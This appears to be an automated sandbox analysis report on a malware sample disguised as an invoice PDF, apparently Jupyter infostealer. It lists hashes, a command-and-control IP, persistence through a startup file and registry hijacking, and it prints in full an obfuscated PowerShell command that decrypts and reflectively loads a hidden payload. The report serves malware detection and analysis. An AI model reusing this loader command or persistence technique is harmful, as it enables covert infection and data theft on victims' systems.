Analysis
-
max time kernel
606s -
max time network
612s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
08-04-2024 22:04
Static task
static1
Behavioral task
behavioral1
Sample
Tools-Invoice.pdf.exe
Resource
win7-20240221-en
General
-
Target
Tools-Invoice.pdf.exe
-
Size
272.0MB
-
MD5
994aae548a9f407ae1784e973ad94693
-
SHA1
08cb87669814ea1848cef750c75a39cd37cc61bf
-
SHA256
1afc90c1b93eeb299b87b505112b345a64b07e91b0f1e6306a9c2ece7c7feae3
-
SHA512
ed7fbe45a6d89883cc733899691c4f621f5980bbd4feabfdf2d06a902c250f1ba4c6293d216ff8f76927f2007ebcddf62456a1ac7bba02591972c980a5b6de88
-
SSDEEP
49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJ:Uj+tNtV/AAFBH9yzL
Malware Config
Extracted
jupyter
http://146.70.71.174
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation Tools-Invoice.pdf.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JooGgBSquuiuQJWuOArBKS.WGbctunRmmXGQxqxyvlmcpiwjKZmPDu Tools-Invoice.pdf.exe -
Executes dropped EXE 1 IoCs
pid Process 3976 TvtuziedoTs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 7 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKb29HZ0JTcXV1aXVRSld1T0FyQktTLldHYmN0dW5SbW1YR1F4cXh5dmxtY3Bpd2pLWm1QRHU='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\"" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\.wgbctunrmmxgqxqxyvlmcpiwjkzmpdu Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\.wgbctunrmmxgqxqxyvlmcpiwjkzmpdu\ = "quhwjoiflqxkcvogbcfmyboigizv" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open\command Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open Tools-Invoice.pdf.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2368 Tools-Invoice.pdf.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2368 Tools-Invoice.pdf.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1044 wrote to memory of 3976 1044 Tools-Invoice.pdf.exe 91 PID 1044 wrote to memory of 3976 1044 Tools-Invoice.pdf.exe 91 PID 1044 wrote to memory of 3976 1044 Tools-Invoice.pdf.exe 91 PID 1044 wrote to memory of 2368 1044 Tools-Invoice.pdf.exe 93 PID 1044 wrote to memory of 2368 1044 Tools-Invoice.pdf.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"2⤵
- Executes dropped EXE
PID:3976
-
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s2⤵
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2368
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
425B
MD5fff5cbccb6b31b40f834b8f4778a779a
SHA1899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA5121a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9
-
Filesize
997KB
MD5dbc534854dd385e59a3f1906ddfb9020
SHA12b3062d82232ce10a8713829199769ff0d12e0fc
SHA25606486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0
SHA5121506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82